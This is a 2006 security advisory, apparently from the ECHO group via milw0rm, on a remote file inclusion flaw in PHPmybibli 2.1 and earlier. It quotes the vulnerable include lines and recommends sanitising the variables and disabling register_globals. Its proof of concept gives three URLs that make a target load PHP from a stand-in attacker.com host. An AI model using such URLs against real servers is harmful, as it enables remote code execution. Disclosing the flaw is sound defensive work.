107 lines
No EOL
3.6 KiB
Text
107 lines
No EOL
3.6 KiB
Text
____________________ ___ ___ ________
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\_ _____/\_ ___ \ / | \\_____ \
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| __)_ / \ \// ~ \/ | \
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| \\ \___\ Y / | \
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/_______ / \______ /\___|_ /\_______ /
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\/ \/ \/ \/ .OR.ID
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ECHO_ADV_55$2006
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-----------------------------------------------------------------------------------------------
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[ECHO_ADV_55$2006]Phpmybibli <=2.1 Multiple Remote File Inclusion Vulnerability
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-----------------------------------------------------------------------------------------------
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Author : Dedi Dwianto a.k.a the_day
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Date Found : October, 17th 2006
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Location : Indonesia, Jakarta
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web : http://advisories.echo.or.id/adv/adv55-theday-2006.txt
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Critical Lvl : Highly critical
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Impact : System access
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Where : From Remote
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---------------------------------------------------------------------------
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Affected software description:
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~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Application : PHPmybibli
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version : <=2.1
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URL : http://www.pizz.net/
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---------------------------------------------------------------------------
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Vulnerability:
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~~~~~~~~~~~~~
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I found vulnerability script cart.php
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--------------------------cart.php---------------------------------------
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....
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<?
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include_once("$include_path/cart.inc.php");
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include_once("$include_path/templates/cart.tpl.php");
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include_once("$include_path/isbn.inc.php");
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include_once("$include_path/expl_info.inc.php");
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include_once("$include_path/bull_info.inc.php");
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include_once("$include_path/notice_authors.inc.php");
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include_once("$include_path/notice_categories.inc.php");
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include_once("$include_path/explnum.inc.php");
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include_once("$class_path/cart.class.php");
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include_once("$class_path/caddie.class.php");
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include_once("$class_path/author.class.php");
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include_once("$class_path/collection.class.php");
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include_once("$class_path/subcollection.class.php");
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include_once("$class_path/mono_display.class.php");
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include_once("$class_path/serie.class.php");
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include_once("$class_path/serial_display.class.php");
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include_once("$class_path/serials.class.php");
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include_once("$class_path/editor.class.php");
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require_once("$class_path/emprunteur.class.php");
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require_once("$javascript_path/misc.inc.php");
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...
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----------------------------------------------------------
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Input passed to the "$include_path" parameter in cart.php is not
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properly verified before being used. This can be exploited to execute
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arbitrary PHP code by including files from local or external
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resources.
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Also affected files on Files:
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edit.php
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circ.php
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index.php
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select.php
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etc..
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Proof Of Concept:
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~~~~~~~~~~~~~~
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http://target.com/[phpmybibli_path]/index.php?class_path=http://attacker.com/inject.txt?
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http://target.com/[phpmybibli_path]/edit.php?javascript_path=http://attacker.com/inject.txt?
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http://target.com/[phpmybibli_path]/circ.php?include_path=http://attacker.com/inject.txt?
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Solution:
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~~~~~~
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- Sanitize variable $class_path,$javascript_path,$include_path on affected files.
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- Turn off register_globals
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---------------------------------------------------------------------------
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Shoutz:
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~~
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~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
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~ Jessy My Brain
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~ az001,bomm_3x,matdhule,angelia
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~ newbie_hacker@yahoogroups.com
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~ #aikmel - #e-c-h-o @irc.dal.net
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------------------------------------------------------------------------
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---
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Contact:
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~~~
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EcHo Research & Development Center
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the_day[at]echo[dot]or[dot]id
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-------------------------------- [ EOF ]----------------------------------
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# milw0rm.com [2006-10-17] |